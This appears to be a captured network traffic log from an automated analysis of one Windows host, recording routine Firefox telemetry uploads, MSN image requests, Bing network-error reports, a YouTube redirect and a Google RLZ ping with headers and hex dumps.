2024-01-17 23:35:52 UTC	8851	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a dd 3d 0b 73 e2 c8 99 7f c5 45 2a 57 b9 3a c3 aa 5b ef a9 4a 5d 30 c8 36 37 bc 02 78 66 67 53 29 95 40 0d d6 59 20 56 12 f6 78 b7 e6 bf df f7 75 b7 84 04 02 8c c7 9e 4d 2e 95 c4 4c ab d5 fd bd 5f dd ea fe bd 96 3e af 59 ed 43 6d e9 05 ab da 65 2d f0 e1 b7 ca a6 d4 9f 5a ac 3e 37 4d a5 ae cd 74 5a b7 7d 73 5a a7 26 b1 94 29 f3 34 9b ea d0 77 16 33 2f 0d a2 55 db 4b 71 04 aa 50 b5 4e 94 ba a2 4f 14 e3 03 55 3e a8 b4 41 a8 fa 0b f4 7c 64 71 02 1d 6b 1f b4 cb 9a b7 5e 87 c1 8c bf 58 fb f0 7b cd 8b 67 f7 41 ca 66 e9 26 c6 41 be 5a 46 dd d0 e0 95 e9 26 08 fd 8e 2f c7 55 6c 6a 52 95 ea d4 82 47 2b 6f 89 5d af 83 98 cd a3 af c5 e1 6b 84 58 0d a5 41 a0 cd 0f 92 75 e8 3d 7f aa 78 f4 c8 56 7e 14 43 53 2f fa 2d 08 43 0f 9a a0 6b 3a 8f e2 Data Ascii: =sE*W:[J]067xfgS)@Y VxuM.L_>YCme-Z>7MtZ}sZ&)4w3/UKqPNOU>A\|dqk^X{gAf&AZF&/UljRG+o]kXAu=xV~CS/-Ck:
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.6	50270	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	489	OUT	POST /submit/telemetry/7e03a685-c52e-4810-b494-0f433b33ac49/event/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 3019 Connection: keep-alive
2024-01-17 23:35:52 UTC	3019	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a d5 59 8d 6e db 38 12 7e 15 41 c0 1e 76 81 d0 ab 3f cb b2 81 c5 d5 89 93 34 d8 ba 1b e4 af 7b 57 14 06 25 51 36 cf fa 2b 45 d9 f1 16 05 ee 21 ee 09 ef 49 6e 86 94 65 39 71 72 69 f6 80 db 2d d0 56 1e 0e 87 c3 99 e1 cc 37 e4 17 53 6e 4a 66 8e 4c b6 62 b9 34 8f 4c 1e c3 8f 01 b3 5c ea 07 7d 12 f5 1d 46 bc c0 b6 48 e8 0d 3d 62 25 9e eb 86 ae 4b 23 6f 08 bc 91 60 54 f2 22 9f 50 89 22 1c cb 71 09 b0 5a fd 1b cb 1f 39 d6 c8 0d 7a 9e 35 fc 3b 70 ae 98 a8 80 d1 1c 79 47 26 2d cb 94 47 6a a2 39 fa 62 52 11 2d b8 64 91 ac 05 0a b9 0f 7c e2 7b 30 25 ac 79 1a 5f c4 8d 5c 6b e8 0c 1c d7 e9 3b 01 0c e5 34 43 d6 33 2e 58 52 dc 77 c5 9b b6 1d f4 ac 9e 0d b4 98 57 65 4a 37 77 07 86 60 ab 71 21 80 34 2d 7e e3 69 4a 81 04 ac 32 29 44 76 88 fd be Data Ascii: Yn8~Av?4{W%Q6+E!Ine9qri-V7SnJfLb4L\}FH=b%K#o`T"P"qZ9z5;pyG&-Gj9bR-d\|{0%y_\k;4C3.XRwWeJ7w`q!4-~iJ2)Dv
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.6	50273	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	489	OUT	POST /submit/telemetry/b7b7301e-d32e-49f7-b138-9fd21cf2ca6b/health/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 331 Connection: keep-alive
2024-01-17 23:35:52 UTC	331	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a 6d 50 b9 6a 03 31 10 fd 17 d5 d6 a2 63 ef 2e 10 0c 2e e2 ca 24 90 26 8c a4 11 2b d0 1e 68 d7 c6 8e f1 bf 67 d6 71 91 80 1b 81 de c5 9b 77 65 cb 65 42 d6 b2 0e 21 2e 1d db b0 e0 e8 67 2a 53 69 21 91 3b ad 90 e7 8d af b8 91 ba e6 8d 77 4a 5a af 2c 94 86 b4 36 21 2c 61 1c 5e 61 59 33 94 50 9a 4b c1 45 71 10 65 ab 44 ab eb 4c 37 fa 93 94 27 4c 33 09 59 9b 6f 18 4c 53 0c f6 6e 64 ed 95 41 b2 5d 58 d0 2e c7 b4 86 9c eb 92 97 39 59 cc 31 44 b7 73 8f 5c d1 a8 4a 69 55 a8 9a a8 01 fa 55 ba 0d 09 fd 78 fe 1b cf a4 ac 33 91 49 c2 5c 98 a7 08 97 f7 27 d4 09 07 37 26 82 de c6 ef 10 23 10 44 d2 c5 8f a9 7f 26 3f 4f 76 ec 5f 4c f8 6d f7 55 e6 bc 9f 4f 76 bd bf 83 61 c0 48 78 c2 88 30 23 bb 51 12 5c e2 08 6e 3d 6d 9c d7 f7 d1 f6 63 b7 df 1f Data Ascii: mPj1c..$&+hgqweeB!.g*Si!;wJZ,6!,a^aY3PKEqeDL7'L3YoLSndA]X.9Y1Ds\JiUUx3I\'7&#D&?Ov_LmUOvaHx0#Q\n=mc
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.6	50274	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:52 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 05 Jan 2024 15:31:57 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 9e04c0fc-5cb7-48f7-a489-567fe7146f90 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=144062 Expires: Fri, 19 Jan 2024 15:36:54 GMT Date: Wed, 17 Jan 2024 23:35:52 GMT Connection: close
2024-01-17 23:35:52 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.6	50276	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	495	OUT	POST /submit/telemetry/b6281059-34c6-49d8-97c7-24de33b104ab/new-profile/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 2435 Connection: keep-alive
2024-01-17 23:35:52 UTC	2435	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a d5 58 7b 6f db 46 12 ff 2a 04 81 1e 5a c0 54 f8 92 2c 19 28 2e 92 25 3b 46 2d c7 b0 6c a7 77 45 20 2c c9 a1 b4 27 72 c9 2c 49 3d 12 e4 bb df cc 2e 45 53 b6 9c eb a5 ff a4 06 6c 93 b3 b3 b3 b3 33 bf 79 f1 8b 59 ee 72 30 cf 4c 01 1b 2b 97 59 cc 13 30 4f 4c 1e 21 29 e8 b9 7d c7 ee 0e 2c cf 0f 7b 96 3f 88 fa d6 e0 34 3c b5 5c 3f 02 cf 0b 1c db 67 01 f2 86 12 58 c9 33 31 66 25 09 72 6d d7 b3 1c db b2 bb f7 76 ef cc b5 cf 3c b7 e3 38 fd 7f 23 e7 1a 64 81 8c e6 99 7f 62 b2 3c 4f 78 a8 36 9a 67 5f 4c 26 c3 25 2f 21 2c 2b 49 42 b6 fd 9e d5 f3 71 4b 50 f1 24 ba 8a 6a b9 f6 c0 3d 75 3d b7 eb f6 71 49 b0 94 58 2f b8 84 38 db b6 c5 9b 78 5e c7 ee 38 48 8b 78 91 27 6c f7 78 64 69 0d 22 ca 24 92 a6 d9 67 9e 24 0c 49 c8 5a c6 99 4c 8f b1 6f Data Ascii: X{oF*ZT,(.%;F-lwE ,'r,I=.ESl3yYr0L+Y0OL!)},{?4<\?gX31f%rmv<8#db<Ox6g_L&%/!,+IBqKP$j=u=qIX/8x^8Hx'lxdi"$g$IZLo
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.6	50277	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	498	OUT	POST /submit/telemetry/b6dd686f-a071-4a96-9ec4-4a8ffdac9d0c/first-shutdown/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 8852 Connection: keep-alive
2024-01-17 23:35:52 UTC	8852	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a dd 3d 0b 6f e3 b8 99 7f 25 70 d1 43 0f 17 7b 45 bd 35 40 71 55 6c 25 f1 8d 5f b5 9d 99 9d 2d 0a 41 96 68 47 17 d9 f2 4a 72 32 d9 c5 fc f7 fb 3e 92 92 25 5b b6 e3 4c 32 db 5e d1 36 1e 8a 22 bf f7 8b 14 f9 7b 23 7b 5e d3 c6 87 c6 3c 4c d2 ac 99 de 6f b2 20 7e 5a 35 2e 1b 61 00 ad 33 3d 08 74 53 9f 37 3d c9 20 4d d5 b3 f4 a6 45 7d 15 7e 99 f3 79 e0 f9 56 20 f9 d0 d7 4f a8 97 85 f1 aa e3 65 38 96 2c c9 4a 93 48 4d 49 9b 4a fa 07 59 fa a0 c8 2d 22 ab bf 40 cf 47 9a a4 d0 b1 f1 41 bd 6c 78 eb 75 14 fa ec c5 c6 87 df 1b 5e e2 df 87 19 f5 b3 4d 82 83 7c 35 f5 a6 ae c2 2b b3 4d 18 05 dd 40 8c 2b 59 b2 21 2b b2 26 9b f0 68 e5 2d b1 eb 75 98 d0 79 fc b5 3c 7c 83 10 b3 25 b5 08 b4 05 61 ba 8e bc e7 4f 35 8f 1e e9 2a 88 13 68 ea c7 bf 85 Data Ascii: =o%pC{E5@qUl%_-AhGJr2>%[L2^6"{#{^<Lo ~Z5.a3=tS7= ME}~yV Oe8,JHMIJY-"@GAlxu^M\|5+M@+Y!+&h-uy<\|%aO5*h
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.6	50278	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:53 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:53 UTC	552	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 15 Jan 2024 23:25:42 GMT X-Datacenter: northeu X-ActivityId: 8f4f09a9-9e5b-4844-a7cd-25aed084c46b Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 Content-Length: 4096 Cache-Control: public, max-age=258440 Expires: Sat, 20 Jan 2024 23:23:13 GMT Date: Wed, 17 Jan 2024 23:35:53 GMT Connection: close
2024-01-17 23:35:53 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.6	50328	23.44.201.228	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:36:14 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:36:14 UTC	361	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: content-type Date: Wed, 17 Jan 2024 23:36:14 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.a46e2c17.1705534574.2f7a24ed Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.6	50329	23.44.201.228	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:36:14 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 465 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:36:14 UTC	465	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 30 30 30 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 36 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e 67 Data Ascii: [{"age":60004,"body":{"elapsed_time":567,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bing
2024-01-17 23:36:15 UTC	359	IN	HTTP/1.1 200 OK Content-Length: 21 Content-Type: text/plain; charset=utf-8 Date: Wed, 17 Jan 2024 23:36:15 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.a46e2c17.1705534575.2f7a2de5 Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-01-17 23:36:15 UTC	21	IN	Data Raw: 50 72 6f 63 65 73 73 65 64 20 74 68 65 20 72 65 71 75 65 73 74 Data Ascii: Processed the request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.6	50530	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:38:08 UTC	420	OUT	GET / HTTP/1.1 Host: youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:38:09 UTC	1435	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Wed, 17 Jan 2024 23:38:08 GMT Date: Wed, 17 Jan 2024 23:38:08 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/ X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: CONSENT=PENDING+426; expires=Fri, 16-Jan-2026 23:38:08 GMT; path=/; domain=.youtube.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.6	50583	142.251.40.174	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:38:33 UTC	449	OUT	GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000005BBC5BB4AD HTTP/1.1 Host: clients1.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2024-01-17 23:38:33 UTC	817	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-dHlKi62-lfnQuTfyxTtEHg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Security-Policy: script-src 'report-sample' 'nonce-CdjD6ZcO1VTUtXHiCmk53g' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Type: text/plain; charset=utf-8 Content-Length: 220 Date: Wed, 17 Jan 2024 23:38:33 GMT Expires: Wed, 17 Jan 2024 23:38:33 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:38:33 UTC	220	IN	Data Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 43 41 31 30 39 33 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 38 33 34 66 32 62 61 30 0a Data Ascii: rlzC1: 1C1ONGR_enCA1093rlzC2: 1C2ONGR_enCA1093rlzC7: 1C7ONGR_enCA1093dcc: set_dcc: C1:1C1ONGR_enCA1093,C2:1C2ONGR_enCA1093,C7:1C7ONGR_enCA1093events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: 834f2ba0

Session ID	Source IP	Source Port	Destination IP	Destination Port
